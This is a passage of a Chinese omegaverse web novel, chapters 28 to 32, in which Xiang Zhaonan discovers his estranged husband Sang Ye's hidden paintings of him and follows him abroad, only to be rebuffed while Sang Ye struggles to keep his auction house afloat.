“凌星,你帮我收东西的时候收到油画了吗我家那边物业说家里没见着,是放在别的地方了吗?” 凌星啊了一声,用动画片里的搞怪声音说话。 “油画?什么油画?在哪啊?” 桑也拿着手机呆住了。 凌星没给他油画收走啊? 那……岂不是还在华润湾? “在,华润湾的画室里。” “还有画室呢?当时那阿姨只跟我说相召南有个书房不让进,也没跟我说哪里还有个画室啊。” “哦对了我跟你讲,相召南那个书房里有一副你的照片!现在你已经出国了,我也不怕你回心转意,告诉你也没事。” “……我的照片?” “对!我看了下,应该是你第一年参加锦标赛的照片,不知道他从哪找到的。” 桑也靠在窗边,沉默良久。 “哇,你不会还想着他吧?早知道不跟你说了。” “没。阿姨不是说相召南不让进么,你怎么看见的。”桑也转移话题,调侃桑也。 “他说不让进我就不进啊?他多大脸啊,我就进,欸,我就进。” 电话那边似乎还有个人,说了句“傻子”,被丢下手机的凌星暴打了几下。等凌星再拿回手机,他“欸嘿”了一声。 “你怎么突然想起你的油画了?有什么事吗?有事你只管说,毕竟当时是我漏掉了。” “我……”桑也纠结,如果要凌星帮他去取油画,必然会被凌星看见他某些难以启齿的画作,当初只想着要和相召南划清关系拿走自己的东西,反而忽略了这点,现在想起来了,心里压力有些大。 “我这边可能需要早些年画的一些画,如果你有空的话,能帮我去取一下吗?” 凌星答应了。 “看我勇创华润湾,区区相召南,我会怕他吗?” “不过,有人给我开门吗?他不会记仇得直接把我关在外面吧。” 桑也想了下,他不觉得相召南是这样斤斤计较小气吧啦的人,但如果是昨天那种情况——其实也说不定。 “0729,如果密码没改的话。” …… 因为公司的事情还很繁忙,相召南当天就赶飞机回了C国。 他原本的计划是带着桑也一起回国…… 结果最后急着回来忙业务的相召南也并没有在公司待多久。 桑也那副态度,他根本没办法聚精会神地工作。 只能回到华润湾,休息一二。 然而,他刚一推开门,就发现了不对劲。 这是桑氏出事之后相召南第二次回家,之前因为忙碌一直在办公室后的小房间留宿。 他看着屋内空空荡荡的陈设,长眸不可置信地收缩。 结婚后这套房子大多数时间都是桑也在住,他一点点看着这套房子染上桑也的气息,随手放置的小说,没吃完的零食,和前一天脱下的衣服。 而现在,什么都没有了。 他按耐住性子,提步迈进桑也的卧室,推开门,果然也一干二净! 他推开衣柜,衣服都没了,又拉开床头柜抽屉,同样一无所有。 干干净净,什么都没有。 只剩下床上雪白的被子。 他忘了是什么时候桑也的房间变得和他一样,一片寂白。 相召南的额角突然阵痛,他揉了揉眉心,隐约记起好像是有一次情热期桑也出了血,红色点缀在草绿色的床单上,刺眼,花哨,像繁盛的花园。 他说了句碍眼。 似乎从那之后,桑也的房间就再也看不见花花绿绿的色彩了。 那时候桑也还把他的话奉为圭臬。 而现在,桑也竟然真的打定主意要和他离婚! 怎么会。 怎么会这样。 在过去四年,桑也从来不会拒绝他的要求,那么听话,就算被他晾在家里十天半月也只是嘟嘟囔囔一会,像一只乖巧的猫咪。 做尽了相召南所不齿的行径。 而现在,猫咪离家出走了。 在商场上运筹帷幄的相召南第一回感到慌张。 眼前的空荡深深刺痛了他,他逃离现场,庞大的身躯竟有些摇晃。 他躲进了书房。 这里没有桑也的气息,这里是桑也不曾踏足的禁地。 也只有这里,还维持原样。 第29章 他双目缀上红色, 连带着视物都不甚清晰。 桌上有一个相框。 倒扣着。 相召南骤然睁大了双目,深黑色的双眸被惊惧和愤怒填满,是谁触碰了它?是谁发现了他的秘密? 他迅速而用力地伸手拿起相框, 拿起之后动作又变得轻柔, 像捧着世间珍宝那样, 小心翼翼。 相片上的桑也意气风发, 贴身的赛车服勾勒出青稚苗条的身躯,像草地里嫩芽, 青涩而富有生命力。 急速的冲刺使得偷拍的相片模糊, 却又平添了风的质感,自由而灿烂。 相召南轻轻擦拭了一下相框, 忽地听见大门打开的声音。 有人来了。 阿姨在家休息。 那么, 是谁来了? 相召南站起身来,动作太过剧烈以至于桌角挤压着地毯在地面划出刺耳声响。 这套房子只有桑也和阿姨会来, 不可能是阿姨, 那就只能是桑也了。 相召南拧紧的眉终于得到了片刻舒展。果然,桑也放不下他。 很难说清他现在的感受,他厌恶桑也整日纠缠, 毫无尊严地把自己和他捆绑在一起,一到情热期就像卑劣的狗一样求欢。 可如果桑也走了, 他又控制不住地横生占有欲。 他把相框放置好, 离开书房, 小心关上书房的房门。 然而站在客厅的人并不是桑也, 而是凌星。 相召南原本舒展的眉重新聚拢, 无端的期待落空,加上一想到就是这个人劝说桑也做出离婚这种不可理喻的行为,就没什么好脸色。 “你怎么进来的。” 凌星似乎被他吓了一跳, “我去死人脸怎么在这。” 死人脸? 说的是他? 相召南不可遏制地腾升一种想法:就是这个嘴里没好话的人带坏了桑也,不然桑也怎么可能赌气和他离婚? 凌星也反应过来自己口上没把门的当着人说了坏话,连忙打哈哈:“耶耶叫我来帮他那东西,上次拿漏了。” “拿什么?上次又是什么?” 相召南刨根问底,他不知道凌星这次回来要拿什么,但隐约明白“上次”应该指的就是把这套房子变得空荡荡的罪行。 他心里兀地抽痛了一下。 桑也竟然连搬离都要假手于人。 难怪房间里桑也的信息素气息那么薄弱,几不可闻。 “耶耶在M国那边要用到他之前画的油画,不过你家画室在哪啊?我之前翻遍了这套房子也没看见哪有画室。” 凌星有些奇怪。 相召南盯着客厅的墙壁,那里有一块通铺大理石的空墙,以前是客卧,后来被桑也改造成画室,因为是隐藏门,很少有人注意到,连相召南都忽视它以至于四年来从未踏足。 然而他并没有直接告诉凌星画室的位置,反而问道:“他知道了?” “知道什么?” “书房里的……照片。” 相召南的语气似乎有些恐慌,凌星只觉得怪异,“知道了,我告诉他的,怎么了?” “他,说什么?” “说什么?耶耶什么也没说。”凌星没心情和他谈这些,只问:“画室在哪?” 相召南没再说话,朝着客厅的大墙走去,找到隐藏门的开关,把门打开。 “要拿什么,去拿吧。” 画室很暗,相召南粗略扫了一眼,没有细看,在门口等着凌星。 凌星进去时还嘟囔了一句:“还要在门口守着,我是贼吗?”然而话音未落,画室内就传来凌星一声石破天惊的尖叫:“天哪——” 相召南听了凌星所说“耶耶什么也没说”,便感觉心里那种没底感重新涌现。他以为桑也得知自己收藏了他早年的照片后会喜笑颜开,会恃宠而骄,会嗔怪痴骂,但桑也什么也没说。他不好奇自己为什么藏着他的照片吗? 他害怕被发现自己藏在暗处的秘密,可现在更让他害怕的事情出现了,桑也对他的秘密没有任何反应。 果然,他就是装模做样!装得一副深情模样,其实只是把他当治病的药方。 他暗自握紧了拳头。 但很快,他的思绪被打断,凌星的尖叫吸引了他的注意。他朝着画室看去,只模糊看到当中一副画的残影,就被突然关上的房门遮挡了视线。 相召南皱眉,黑色眉眼里蕴藏了浅淡的痛意。 他推门,门被凌星锁了。 里面藏了什么? 相召南摸着隐藏门的开关,把房门再次打开。 刚一推开门,就看见凌星慌乱地挡住什么东西,神情惊愕。 可能是在好奇为什么反锁了门还会被打开。 相召南没说话,这房子的所有门都锁不住他,因为他的指纹有最高权限。 他没管凌星,大步跨行到凌星身后,抽出被人挡住的东西。 是一幅画。 画上是……他? 模糊的人影,一袭黑色西服,宽肩窄腰,藏在西服内的肌肉似乎快要爆发出来,没有人脸,只有微微下俯的上半身和敞开的双腿,视角自下而上,仿佛寓意着臣服。 是他。 不仅这一幅,画室四周还摆放着许多完成的画作,都没有人脸,且都蒙着一层薄纱,如同添加了高斯模糊特效,但从人物的穿着来看,是他无疑。 他知道桑也擅长绘画,却不知道桑也居然画了这么多他。 他一时又产生了怀疑。 桑也为什么给他画这么多画?为什么给一个解药画这么多画。 要不是他从凌星口中得知了桑也的漠不关心,他都要怀疑桑也是真的爱他了。 在他愣神这片刻,凌星已经找到了他要带走的画。 相召南扫了一眼,发现都是些风景画,美好绚烂。 唯独没有一副关于他的画。 特意让人再度返回来取他遗漏的物品,却独独把为他所画的画作撇下,连那些无关紧要的风景画都要带走,却不要他! 果然,桑也根本不在意他,只把他当作泄/欲工具罢了。 他心里深知这一切,但口上还是不死心地发问: “这些不要么?” 他指着地上摆放的一圈风格独特的人像画。 凌星一眼就看出画上都是相召南,当然是怎么毒怎么回答。 “那些没用。” “没,用。”相召南猛地攥紧了拳头,从齿缝里挤出两个字,仿佛被触了逆鳞的恶龙要把这两个字嚼烂咬碎。 但很快他释放开差点攥破的拳,向凌星伸手。 “画给我。你没资格带走它们。” 凌星没给。 “耶耶工作要用到,他好不容易重振旗鼓搞事业,你要毁了他吗?” “我给他送。” 一句“毁了他”彻底让相召南脸色阴沉了下来。 凌星显然不信,但毕竟在相召南家里,相召南脸色又那么臭,真要动起手来他铁定打不过,只能在心里默默给好兄弟说了句对不起,随后就把手上的几幅画往相召南手上一丢,自己则拔腿跑了。 相召南把画放下,锁了画室的门,在房间里坐了两个小时。 他看不懂这些画。 他看不懂为什么桑也明明不爱他却还要画这些让人误会的画。 还是说桑也又一次把他当成了工具,像用他治病一样,用他当绘画素材? 再复杂的商界状况他都能抽丝剥茧地捋得清楚,但现在,他看不明白了。 天黑下来的时候,他去了趟公司,陈助还在处理工作。 “明天有什么事吗?” 陈助查看了行程表,“上午有一场和企鹅游戏的会议,午后有一位注资公司的经理预约了和您见面,下午要去新开的一家企业剪彩,晚上……” 相召南揉了下眉心,“都推了,给我定最近的机票,去M国。” 陈助汇报的动作霎时一顿,“相总,这?”他有些难做,从未见过他这位工作狂魔上司推掉工作,从来都是加班加班,竟然还有这一天?虽然他期待,但要真把这些工作都推了,岂不成了落人口舌的把柄? “推了,定机票。” 陈助再怎么也只是个打工人,上面的争权夺势都不是他该考虑的,便回答:“好的,我现在就帮您看机票。” “今天晚上有一趟航班,但是商务舱已经订满了,只剩经济舱,明天上午早上八点有一趟航班,虽然时间晚点,但还有头等舱,考虑到相总您的情况,我帮您定明天早上的航班可以吗?” 所谓他的情况,一是他不缺钱,二是他身材高大,手长脚长,经济舱的座位又小又窄,十几个小时的航程飞完腰酸背痛是必不可免的。 而且他还带着桑也的画。 相召南思忖了下,点头。 但他站在陈助工位边,还没有离开。在陈助疑惑的目光下,相召南说:“明天的会议,你去开。” 陈助脸色僵滞。 加班来得如此突然。 但是他没有拒绝的余地,眼见相召南转身走出去两步,心里有怨气的陈助说:“希望相总能成功带回桑先生,好久没见到桑先生给相总来送他亲自下厨做的饭了。” 相召南顿住脚步,他听不得有人夸桑也的好,“阿姨做的,他送过来而已。” 他那么娇气,受过一次伤之后怎么可能还继续下厨。 “是吗,我经常看见桑先生手上有伤口,还以为是桑先生亲自下厨。原来是我误会了。” 果不其然,话音落地,就看见相召南露出一种堪称复杂的神情。 相召南没有说话,只是握着手机的手骨愈发突出。 只抛下一句“多嘴”,看似轻松地回了那间冷清的办公室。 十分钟后,陈晦收到了相召南的讯息。 【机票退了,改订今晚的票。】 陈助飞快在手机上点了点,重新订好了机票,把时间、登机口等信息都发给相召南之后,收到了来自航空公司的退款信息。 十几万的机票,退了一块钱。 花的相总的钱。 陈助高兴地笑了。 第30章 【大哥, 林肯先生带我去了当地商会的一场晚宴,我主动和不少本地的商界人士交换了名片,我是不是很厉害?】 【你建议我争取的柴柯斯先生珍藏的油画已经拿到手了, 成安这边已经联系娱乐公司发稿子, 我听助理说反响挺不错, 助理还说我的脸给我们成安拍卖行省了大价钱呢。你是不知道, 那些娱乐公司开价是真的高!还好咱妈给我了一张看得过去的脸,不然我都付不起款了。】 【哥, 我在圣劳伦斯一切安好, 你呢?在监狱里有被欺负吗?我听说监狱里都是些穷凶极恶的人,你打不过就躲, 千万别受伤。】 桑也写着写着, 眼睛有些湿润,手也有些没力气。他把笔帽盖上, 小心地把信纸叠成方块, 装进信封,放在桌边明天寄出去。 报喜不报忧的习惯从离婚前一直留到了现在。他似乎改变了许多,但似乎又一尘不变。 桑也趴在桌边, 他伪装了这么久,给自己装上刺猬的外壳, 用利刺坚刃来保护自己, 但他和刺猬的相似性自始至终都只有一个柔软的肚皮。 桌沿在他脸上留下一道红色的印痕, 有些疼, 他才摸着脸坐起身来。 桌上放着他从图书馆借回来的基本金融学书籍, 虽然他拒绝了林肯先生举荐他到世界顶级名校读MBA的好意,但这一建议也的确提醒到了他,他想管理好公司, 一没专业知识,二没实际经验,怎么看都是异想天开。 他没时间去高校学习,也没办法一蹴而就获得丰富的经验,唯一能做的就是从图书馆借几本书回来自己钻研。 为什么借书,而不买书——M国的书籍实在太贵。 怪不得人们都说书中自有黄金屋,原来书真的比黄金贵。 桑也不是个爱看书的人,枯燥无味的理论只会让他困乏,眼皮子都在打架。 他只能像初认字的小朋友一样用手指指着一个个字符,来强迫自己阅读。 “序数效用,反对基数效用论中边际效用可以计量并累加的观点,认为只能用序数,即第一,第二……的方式来表示满足程度的高低……” 从而研究消费者的行为。 桑也低声念出书上的文字,本以为手、口、眼都专注于理论,就可以让他全神贯注的学习。 然而他的思绪还是不受控制地滑向了某个深渊。 他完全难以自抑地想到相召南,想到他在电视上决绝撤资的模样,想到他为抄袭者撑腰而呵斥自己的语气,想到他对自己因病而卑微祈求冷眼旁观的神情。 在相召南心里,即使自己是和他有一纸证书的合法配偶,也永远排在末尾。那个冷酷的人,仗着自己对他的爱意,有恃无恐地把自己的优先级无限后调。 因为相召南知道,他不会生气,就算生气,也离不开他。 他就是一座捂不化的冰山。 桑也把书放下,惊觉自己又被不该在意的人夺去了注意力。 他漫无目的地在桌上翻找,试图找到替代品重新聚集精神。 但他最后只找到没用完的信纸。 于是他重新拿起笔,在纸上画着紊乱的线条,好半晌才落下第一个字。 【M国的人一点也不友好,嘴上嚷着是民主灯塔,一边振臂高呼平等,一边不遗余力给人划分三六九等。】 【酒会上的时候柴柯斯也在,就是那个骗我的讨厌鬼,和另外一个贵族少爷,笑我的衣服“怎么还是上次那一套,不会是没钱吧?”他说对了,我没钱。真可恶。】 【哥,前两天助理委婉地暗示我到成安发工资的时间了,我还在奇怪这种事情找财务就好了,跟我说干什么。结果助理告诉我成安这个月已经开不出工资了。天哪!我没有想到成安竟然破败到这个地步。最后发现原来是因为找的那几家娱乐公司耗尽了成安最后一笔钱。】 【我想拿自己的钱去给他们发工资,但我大部分的银行卡都被冻结了,能用的那张买营养剂也用得差不多了,其他几家公司的钱款都在公账划不出来,一时半会也用不了。虽然最后挤牙膏似的挤出来成安员工的工资,但我也一无所有了。】 他没有说实话。 在他的钱包里,还有一张相召南给的生活费卡,每个月定时打进来一百万。但桑也从来没用过。 现在也不打算用。 发现资金不够后,他拜托凌星帮他把自己在国内的几辆跑车出手,只是不知道什么时候能有人接手。 越写,桑也的手臂越颤得厉害,心率加快,胸口的地方传来阵阵麻木和针刺感。 腺体,不对,是后颈那块空荡的地方,又开始疼,空荡荡的疼,仿佛有一只铁勺在剜他的肉,一勺一勺,勺口刮过肩骨,发出刺耳的剐蹭声响。 他又想挠…… 不行! 不可以! 如果他就这样轻易像最原始的欲望屈服,他受的这么多折磨岂不是毫无意义?如果他低头,屈从的不只是被信息素依赖症的意志,还有他告别过去的决心。 他握住自己的手腕,直到纤细莹白的手腕泛红、青紫。 门铃响了。 有人来了。 桑也站起身来,抚顺衣摆,双手握拳,松开,又握紧,不断调整呼吸,直到恍若无事发生。 他在国外这套房子是临时租的,就在市区,面积不大,租金不低。但他在M国没什么朋友,更遑论知道他地址的人,除了助理,桑也想不到还有谁会上门来找他。 做好了门外是助理的准备,但他打开门,看见的是相召南。 桑也只看了一眼,就要把门关上,却被相召南用手肘抵住。 相召南似乎很疲惫,双眼之下都泛着淡淡的青色,此时正死死盯着他的手腕,看得他莫名心里发怵。 桑也把手腕往身后藏了藏。 “你调查我?” 相召南的目光这才从他的手腕收回,“不,凌星告诉我的。我来给你送画。” 他推过来一个带轮的箱子,里面应该就装着画。 桑也这才想起之前凌星跟他提过一嘴,出师未捷,撞到相召南在家,计划失败了。却未曾想大忙人居然会横跨几千公里的海洋亲自给他送画,实属难得。 换作以前的桑也,相召南屈尊降贵为他送来什么东西,他不仅要感动得说不出话,还要讯息轰炸凌星问相召南是不是也喜欢他。 但那都是以前了。 现在的桑也,只是平静地说了句:“谢谢,你可以走了。” 他累了,不愿再和相召南发生交集了。 相召南却像没听见一样,突然握住他的手,“怎么受伤了?” 桑也立马抽出手,抬眸望去,竟然看见相召南脸上出现了一抹受伤的神色。他只觉得好笑。 “两个非亲非故的人,还是不要做出惹人非议的事情比较好。” 相召南闻言,不知道是不是走廊里灯光的原因,面容有些扭曲。 “非亲非故?”他的声色听来似乎是沙哑而战栗,“桑也,我说了,你跟我回去,我当什么都没看见。” 他在做什么? 桑也看不明白。为什么一个对自己厌恶至极的人在自己如他所愿离开之后又做出一副令人作呕挽留的模样。 他在演戏吗?在假装深情直到自己回头后又猛地撕破虚伪的面具流露戏耍的真面目? 桑也不信相召南。 “我也说过了,我不会回去,协议你赶紧签了吧。” 桑也作势又要关门,但力量悬殊,被相召南抵住房门,他毫无办法。 从前的他享受被相召南控制的木偶感,但现在,他却只觉得厌烦。 “你以前不会这样和我说话。”相召南深深凝视着桑也,试图在面前人身上找回一点过往的痕迹。 然而话一说出口,他自己也木讷了,为什么他会怀恋那个言听计从、毫无主见、怯懦柔弱的人? “因为以前我贱。”桑也脱口而出。 他清楚地知道这一点,也深深明白自己的所作所为有多卑微,即使是当时跪在地上哭着求相召南给他一点信息素的他也心知肚明。 只是当时被蒙蔽了双眼。 只会苦笑,接着一尘不变地继续卑微。 相召南仿佛听见了什么难以置信的话,如同一根木头杵在原地,愣着两只黑色瞳孔发痴地看着对方。 桑也笑了。 “你现在这副表情是什么意思呢?你别告诉我,你后悔了。四年的时间你没有正眼看过我一次,帮着外人指责我,把对你母亲的怨气撒在我身上,每次情热期都要我求你才施舍般赏赐我一点信息素。现在我走了,不是如你所愿吗?你又作出这副模样,死缠烂打。你也贱。” 相召南身上的衬衫满是褶皱,这和他以前西装革履一丝不苟的模样大相径庭,很难想象是什么样的忙碌会让他连形象都不再顾及。 因为桑也只有一米七出头,而相召南有足足一米九一,他低垂着头看向桑也,顶光投射在他深深的眼窝中,尽显疲态,连睫毛都没有生气地耷拉着。 “不,我只是……”相召南下意识想要反驳。 桑也直接打断他,伸手抚了下相召南胸口处的西服。 相召南如获至宝般惊喜地看着他。 却听见桑也说:“怎么回事,钱余没给你熨烫衣服吗?看来你这个老师还是没教好。” 相召南喉头像是嵌了一根刺,只静默地张了张嘴,发出无意义的呼吸声。 “要是教不好,就是我能力的问题。” 这是他当初的原话,如同回旋镖,刺向了他的心脏。 桑也骤然收回手,不再看他。 他说错话了。 已经离婚的人,又何必在意过去。 说多错多,他移开目光。 仿佛一叶孤舟在理智和感性的风浪里跌宕,他被两股浪潮打偏,险些被掀翻。理智告诉他不能再和相召南有过多接触,不要去在意他做了什么,只有彻底的漠视才能撇清干系,感性却让他忍不住对相召南发起控诉。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 30-40 第31章 “如果你介意钱余, 我可以让他离开。” 相召南酒红色衬衫的肩臂处褶皱颇多,深灰色的马甲不知为何崩开了一颗扣子,显得有些落魄。 和他潦草的穿着相反, 他的语气总是高高在上, 好像赶谁走和留谁下来都是轻而易举的事。 但正是这样, 桑也愈发感到眼眶发热。 心里蓦地紧了一下, 他捂着脸怪笑出声,从喉咙里发出小猫呼噜一样的声响, 似笑非笑。 “你是现在才知道我介意吗。” 他在的时候, 所有的脾气都被置若罔闻,甚至他当众指出对方抄袭、污蔑, 还是得不到相召南的支持, 反而引来责备; 而现在他走了,相召南似乎一下子明白过来了。 他是不懂吗?他是不以为意。 桑也收敛了表情, 肃然道:“我不是在跟你拿乔, 你做什么我都不会回去。” 后颈的地方又麻又痛,断了休养特调的营养剂之后,他的身体连出国前的健康状况都达不到。 刚断药一周他就发现了这问题, 可他囊中羞涩,烧钱的药属实是用不起, 只能买点阿司匹林屯在家里以备不时之需。 相召南却并有没把他认真说的话当真, 固执己见地认为只要他把桑也不满意的要素全都去除就能让一个去意已决的人回头。 “钱余的事, 是我顾虑不周。” 相召南在商场上几乎没有失手过, 自然没有向谁道歉的经验。 他难得低了回头, 声音阻涩,“至于你所说的将对林晓燕的怒气撒在你身上……” 相召南眉心紧锁,影子被楼道的灯光拉得又长又细。 又是这样。 他从来没把自己的话当回事。 永远都高高在上, 就算低头认错,也是强行把自己的想法强加在别人身上。 “你真的以为是这些事情的缘故吗。”桑也握住门把手,手背的掌骨突出。 他太瘦了,瘦到手掌几乎只有薄薄一层肌肤包裹着骨骼。做完手术之后养出来的血气全都在这短短几天迅速亏损消磨了个彻底。 “你明知道这些事情对我的伤害有多大,但你袖手旁观,现在假模假样道个歉,有什么意义呢?如果你真的明白问题出在哪里,你也就不会像现在这样堵在我门口强迫我跟你回去。” “你不知道哪里错了。你只是不甘心。” “可我不想回去了。” 桑也是一个感情充沛的人,但在爱相召南这件事上,他累了。 他没有第二个腺体可以剜去了。 “我不接受。”相召南眼眶红得吓人。 “不接受?你不是不能接受桑也离开,你是只是不能接受一个四年来低声下气连重话都不敢对你说一句的人率先说了分手,折损了你的傲气。但没关系,人总会有第一次,我帮你突破了这个障碍,不打算和我说声谢谢吗?” 桑也弯唇一笑,似乎毫无芥蒂,笑得灿烂。 然而他手紧紧握住门把手,往常呈现淡粉色的指节此时却因用力而泛白,说完之后,他狠下心来要把门关上。 没有成功。 他用力不小,金属门直接砸在了相召南的突然伸出来抵挡的手臂上,发出砰的一声。 桑也下颌用力,死死咬住牙,冷眼看着相召南吃痛却不肯收回手。 “你知道那张照片了,对吗?”相召南不仅没有抽回手臂,也没有斥责罪魁祸首冷眼旁观,反而提起了一张桑也未曾见过的照片。 桑也沉默了两秒,问:“你从哪里得到的。” “那年作为资方受邀去观赛。” 不知为何,桑也觉得相召南这句话说得有些费劲,似乎在隐瞒什么信息,但对上那双深黑色却蕴藏了浅淡期待的双眸,桑也一瞬间明白了。 那熟悉的眸光,常年出现在他的脸上。 桑也再熟悉不过。 观赛。 应该是赛车。 他拍这样一张照片,还留着,藏着,代表什么呢? 桑也第一次不想读懂相召南,但他对这样的举动、流程太熟悉了,熟悉到他甚至没有深思就跃现在了他的脑海,强迫他读懂。 珍藏的照片,他也有一张。 为了那张照片,他放下了尊严,放下了身份,奴颜婢膝,失去自我。 而相召南,藏着那样一张照片,却倨傲无礼,有恃无恐。 现在还把它当作挽留的筹码。 可惜晚了。 以前的桑也若是发现了这一秘密,必定会欣喜若狂,范进中举高兴冲昏了头直接晕了过去,他也会毫不逊色。 但现在,桑也已经不是相召南稍微流露出一点爱意就能哄骗得晕头转向的Omega了。 理智占据情感高地,朝他打响信号。 “所以呢?” 平静,冷卓,漠不关心。 将相召南从未显露于人的隐秘爱意践踏得无所适从。 他慌乱地握拳,却不是想要挥向某处,而是绷起肌肉来压抑浑身的颤栗。 从接手相氏开始一路顺风从未吃瘪的相召南在桑也面前第一次流露出窘态。 比起先前长篇大论的泣诉,这一句,短短三个字,如同薄且锋利的剑刃划过他心房的墙壁,更让他防线崩塌,溃不成军。 他从未想过,赤裸裸地表露爱意,得到的却是一句轻飘飘的“所以呢。” 桑也说的没错,他对桑也的冷漠,来自对林晓燕强迫他做事的迁怒,但更多的其实是源于桑也低声下气、沉溺于情欲,这完全打破了他对那个在赛场上驰骋的少年的幻想! 那个招摇的,张扬的,意气风发的,神采飞扬的少年,怎么会匍匐于他的脚下说出“帮帮他”这样卑微的话语? 他执着地认为现在的桑也抹杀掉了他心中的桑也。 他嫌弃、憎恶甚至憎恨桑也对他的讨好和低声下气,因为那打破了他对一个月光般人物的美好幻想。 即使那个人就是桑也。也正是因为那个人就是现在的桑也。 所以尽管他有意,却刻意做出一些伤人的举措,盲目地为“心中所爱”报复取代他的人。 他把那张照片藏在书房,把满腔爱意藏在心里,认为自己站在这段关系的制高点,认为他的爱是制胜武器,是真理。 他小心翼翼地试探,以为能够用它挽回桑也。 可他失败了。 当一个人决定要离开,潜藏的爱不会帮它的主人挽回任何东西,只会化作最锐利的刀剑刺向被爱者。 就像迟来的正义不能雪中送炭,只会火上浇油,迟来的爱意也一样。 它告诉要离开的人,你被愚弄了。 多么可笑! 桑也再也忍不住,趁着相召南失神之际,猛地推了他一掌,把人直接推到对面的墙壁上撞得浑身一颤,随后紧紧关上了大门。 他迅速跑回卧室,钻进被子,蒙着头,强迫自己不去听经久不绝的敲门声。 为什么要让他知道这些。 为什么要来找他。 为什么他这样不幸。 桑也从不怨天尤人,可现在,他忍不住去想,他到底做错了什么上天要如此对他? “汪汪——” 床底下传来一阵窸窸窣窣的声音,是一只咖黄色的小狗挥舞着小小的肉爪子一个劲挠床单,似乎很想上床。 桑也从被子里露出一双眼睛,看见是它,伸手把小狗捞进了怀里。 小狗是当时出国前在春城偶遇的那只,因为看着身体干净、肚子圆鼓鼓的,他和张姨都以为是哪家走丢的小狗,问了邻居才知道是当初沈音华从隔壁那里领回家的,刚带回家没两天就出事,连名字都还没取。 桑也一听,把小狗抱在怀里就不肯撒手了。 出国也带上。 姥姥没给它取名字,桑也那时候没精神,也没给正式取名,因为是一窝小狗崽里最大的,就整天“老大”“老大”。 后来给它取了很多名字,但怎么叫都没反应,只听“老大”,也就让这个名字保留了下来。 天气还没转凉,桑也却手脚发冷,小狗坦露出肚皮,让桑也把手放他暖和的肚子上。 门外的敲门声还没有听。 只是没有相召南的喊话声。 桑也听得心烦,又想,以相召南的性格,不会待会就叫人破门而入吧? 相召南强势,控制欲强,桑也早已领教,还真说不定。 “老大,要是待会他强行闯进来,你就上去咬他,咬得他不敢再来。” 老大听话地叫了两声。 桑也蒙着头,却怎么也隔绝不了敲门声。这房子不大,拢共只有一室一书房一厅,加起来不到八十平米,隔音还差。 桑家在圣劳伦斯这座城市没有房产,原本大哥提前给他租的那套房子好得多,地段好,隔音也好,但租金太高,桑也住了一段时间就联系人退了。 巧的是房东不喜欢宠物,又因为没有提前告知不能养宠而困扰,听他说要退租,违约金都没要就把他送走了。 就这样蒙着蒙着,桑也迷迷糊糊睡着了,醒来的时候又是一阵敲门声。 他以为自己只是浅寐了片刻,打开手机一看居然睡了四个小时,怀里的老大也不知道溜到哪去了。 相召南不是很忙吗。 现在又不忙了? 桑也到客厅倒了杯水,润了润唇,端着水杯走到门口,“别敲了,赶紧走吧。我不会给你开门的。” “啊?桑总,我吗?发生了什么?”门外却意外地传来了助理的声音。 桑也这时也反应过来了。 相召南那么忙,一分一秒都是千万的入账,怎么可能在他这里耗四个小时,简直异想天开。一贯的作风在过去的四年没有受到丝毫影响,哪里会因为一场悄无声息的离去而一改旧习。 他打开了门,果然看见助理一脸茫然站在门口。 “不是说你。进来吧。” 助理思考了一下,指着旁边说:“是说他吗?” 桑也微微皱了皱眉,顺着助理手指的方向看过去,在一片昏暗之中,看见一个高大的人影,整个人隐没在暗色中,唯独一双眉目炯然。 助理虽然是C国面孔,但却是土生土长的M国人,不认识相召南实属正常,桑也只让他赶紧进来,随后立刻关上了门。 从迅速变得狭窄的门缝中,他看见相召南朝他走来,伸出手,却又遏制住了强行撑住房门的冲动,只傻愣愣地站在那里。 桑也心里颤了一下,但手上毫不留情,没有丝毫迟钝地关上了门。 他把水杯放在桌上,迟迟没有说话。 助理问:“桑总,难道外面那位就是您……他是不是余情未了死缠烂打无休无止没完没了——要不要我叫物业把他赶出去?” 桑也没有正面回答,他指了指门口放着的箱子,“这是我那些用得上的油画,你待会带去成安,交给主管。”又走进书房,把信纸折好放进信封,“这是发往C国的信,还是原本的地址,你走的时候捎上。” 助理跟在他后面提溜转,摸不清为什么桑总无视了他的问题。 但很快,他就听见桑也说:“算了,还是先把他赶走吧。” 第32章 助理呆了一下, 反应过来立马拿手机给物业打电话。 “物业吗?对,有点事。是这样的我们这边门口有个……呃,追求者?反正就是有个人在门口堵着, 麻烦你们把人‘请’出去。把他拉黑, 下次再见到记得拦着别让他进。” 桑也租房这个小区管理不大严格, 要进来只用报住户姓名和联系方式, 甚至都不需要打电话核对就放人进来。 助理也是这样进来的。 联系完之后助理才拿出报表,跟桑也商量正事。 因为舆论走势不错, 成安那边有想法把他的画作加入到这一次的拍卖当中, 找个托,卖个高价, 打出名气。 桑也礼貌问他:“成安有钱找托?” 拍卖卖得低了, 不说打出名气,只会拉低格调, 但要卖得高, 就得实打实出钱,虽然这钱最后还是到他们自己手里,但要合法合规地做完这事, 就得先拿出钱来滚一圈。 助理假笑了一下,“哈哈。” “确实是这样。我们联系娱乐公司投的流也结束了, 是不是也没钱续上了?” 桑也点头。 “要不, 我们找林肯先生帮帮忙?M国最大的短视频软件不是他名下的吗, 应该……”助理灵机一动, 提议道。 桑也:“你真以为没有林肯先生帮忙我们找的那几家公司效果会那么好?” 长得好看的人多了去了, 单凭脸就短时间内稳定输出三个百万加点赞的视频的可能性几乎为零,要说林肯没有暗中助力,桑也是不信的。 助理这才恍然大悟。 “那我们还能做点什么?” 助理这话问得桑也也沉默了。他开始回溯记忆, 想试试搜刮过往的听闻看看有没有类似情况——没钱的情况,找找灵感。 但桑也身边的人,哪个没钱?唯一的案例恐怕只有当年凌星叛逆非要搞乐队结果被家里停了生活费,苦兮兮地跑去酒吧驻唱,没想到钓到个冤大头豪掷千金,凌星拿了钱就忘本,转头进了娱乐圈。 虽然听起来很荒谬,但桑也又觉得并无可能。 他慢慢地开口,连自己也不确定,“就按成安那边的想法,拿一幅我的画去拍卖——但不要提前透露名字,就说是匿名画者。” 林肯先生帮了他这么多,提醒他要把资本投到成安和他自己身上,又暗里帮他扩大宣传效果,如果他放出拍卖消息,想必林肯先生也会明白他的意图。 他何不赌一把林肯会送佛送到西? 助理点着头思考,之后彻悟:“卖出价了就报你的名字。没卖出价就装不知道。这听起来不错,可进可退,能攻能受。” “那我们现在选选画?”助理指着装画的箱子。 桑也点头后,助理把箱子放倒打开,把画作一一取出。 桑也看着取出来的画都装裱完整,微微蹙眉。 他所有画作,没有拿出去展示的,都是“光杆司令”,只有画,别的一无所有。 